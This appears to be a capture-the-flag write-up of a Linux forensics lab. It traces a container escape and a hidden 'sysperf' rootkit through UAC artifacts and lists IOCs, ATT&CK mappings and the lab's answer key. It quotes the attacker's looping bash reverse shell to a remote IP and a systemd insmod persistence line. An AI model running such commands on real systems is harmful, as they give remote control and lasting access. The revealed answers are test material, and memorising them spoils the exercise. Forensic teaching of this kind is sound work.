// CyberDefenders  ·  writeup

ContainerBreak - Rootkit Trail

CyberDefenders Linux Command Line Tools

Overview

A containerised Linux server was compromised via network intrusion. The attacker escaped the container to the underlying host, killed an active packet capture process, installed a kernel-level rootkit, and cleaned up installation artifacts before disconnecting. Days later the host exhibited classic rootkit symptoms — hidden processes, unexplained network connections, and system instability. A UAC live response collection was performed on the live system for forensic analysis.


Environment

FieldValue
Hostnamewowza
Kernel5.4.0-216-generic
OSUbuntu Linux
Collection ToolUAC (Unix Artifacts Collector)
Collection Time2025-11-24 23:36 UTC

Analysis

Host Identification

Initial triage from UAC artifacts confirmed the system identity via live_response/system/uname_-a.txt:

Linux wowza 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 GNU/Linux

Rootkit Identification

Rather than trusting lsmod output directly, the UAC collection allows cross-referencing userspace tool output against kernel filesystem artifacts — a critical technique when dealing with rootkits that hook syscalls to hide themselves.

Comparing two independent sources revealed the discrepancy:

Sourcesysperf present?
lsmod output❌ Not listed
/sys/module/ filesystemdrwxr-xr-x 5 root root 0 Nov 24 23:36 sysperf

A legitimate module absent from lsmod but present in /sys/module/ is a classic rootkit signature — the rootkit hooks the syscall used by lsmod to filter itself from output while remaining loaded in the kernel.

Kernel Taint Confirmation

dmesg analysis provided independent confirmation of the malicious module load:

[ 9127.292300] sysperf: loading out-of-tree module taints kernel.
[ 9127.293082] sysperf: module verification failed: signature and/or required key missing - tainting kernel

Three red flags confirmed simultaneously:

Converting the dmesg uptime timestamp 9127.292300 seconds against the system boot time places the rootkit load at 2025-11-24 23:31 UTC — approximately 5 minutes before the UAC collection timestamp.

Command and Control

The rootkit’s configured C2 endpoint is 185[.]220[.]101[.]50:9999, announced by the module itself in the kernel ring buffer (SysPerfMon: Target C2: 185[.]220[.]101[.]50:9999) and corroborated by a host route to that IP in the routing table (netstat -rn). Persistence is maintained by a self-healing reverse shell that reconnects every 30 seconds:

while true; do bash -i >& /dev/tcp/185[.]220[.]101[.]50/9999 0>&1; sleep 30; done

Note — the two-port trap: a second reverse shell on port 4444 (PID 24903, user natsuir+) also references this host, but it is the legacy container-escape shell from the earlier intrusion, not the sysperf rootkit’s C2. The rootkit’s only channel is 9999. Conflating the two is the most common wrong answer on this lab.

containerbreak_revshell.png

Persistence Mechanism

To survive reboots the attacker created a systemd service to automatically reload the rootkit kernel module on startup:

Service path: /etc/systemd/system/sysperf[.]service

ini

ExecStart=/sbin/insmod /lib/modules/sysperf.ko

This service is responsible for spawning the persistent reverse shell root process at PID 39303.

containerbreak_persistance.png

`

IOCs

TypeValue
Malicious kernel modulesysperf.ko
Module SHA256ded20890c28460708ea1f02ef50b6e3b44948dbe67d590cc6ff2285241353fd8
C2 IP185[.]220[.]101[.]50
Rootkit C2 port9999
Legacy escape-shell port4444 (earlier intrusion — user natsuir+, PID 24903, not rootkit C2)
Persistence path/etc/systemd/system/sysperf[.]service
Module load time2025-11-24 23:31 UTC

MITRE ATT&CK

TechniqueID
RootkitT1014
Kernel Modules and ExtensionsT1547.006
Systemd ServiceT1543.002
Command and Scripting Interpreter: Unix ShellT1059.004
Application Layer ProtocolT1071
Container EscapeT1611
Indicator RemovalT1070

Key Takeaway

The critical forensic insight here is cross-referencing independent data sources. A rootkit can hook userspace syscalls to hide from tools like lsmod, ps, and netstat — but UAC reads directly from the kernel filesystem (/sys/module/) bypassing those hooks entirely. The discrepancy between what lsmod reported and what /sys/module/ contained was the thread that unravelled the entire compromise.

What is the exact kernel version of the compromised Ubuntu server?
Click flag to reveal5.4.0-216-generic
What is the hostname of the compromised system?
Click to reveal answerwowza
What is the current kernel taint value at the time of collection?
Click flag to reveal12288
A malicious kernel module was loaded on the compromised machine. What is the name of this module?
Click to reveal answersysperf
At what dmesg timestamp was the rootkit module first loaded?
Click flag to reveal9127.292300
What is the absolute UTC timestamp when the rootkit was loaded? Convert the dmesg timestamp accordingly.
Click to reveal answer2025-11-24 23:31
What C2 server IP address and port are configured in the rootkit?
Click flag to reveal185.220.101.50:9999
The threat actor created a systemd service to maintain persistence on the compromised machine. What is the full path to this service file?
Click to reveal answer/etc/systemd/system/sysperf.service
The systemd service file specifies a command to run upon startup. What is the exact command configured in this service file?
Click flag to reveal/sbin/insmod /lib/modules/sysperf.ko
The systemd service persistence results in a root-owned process that maintains a reverse shell loop. What is the PID of this process?
Click to reveal answer39303
The rootkit maintains persistence through a reverse shell connection. What is the full command line of this persistent reverse shell?
Click flag to revealwhile true; do bash -i >& /dev/tcp/185.220.101.50/9999 0>&1; sleep 30; done
What is the SHA256 hash of the rootkit kernel module?
Click to reveal answerded20890c28460708ea1f02ef50b6e3b44948dbe67d590cc6ff2285241353fd8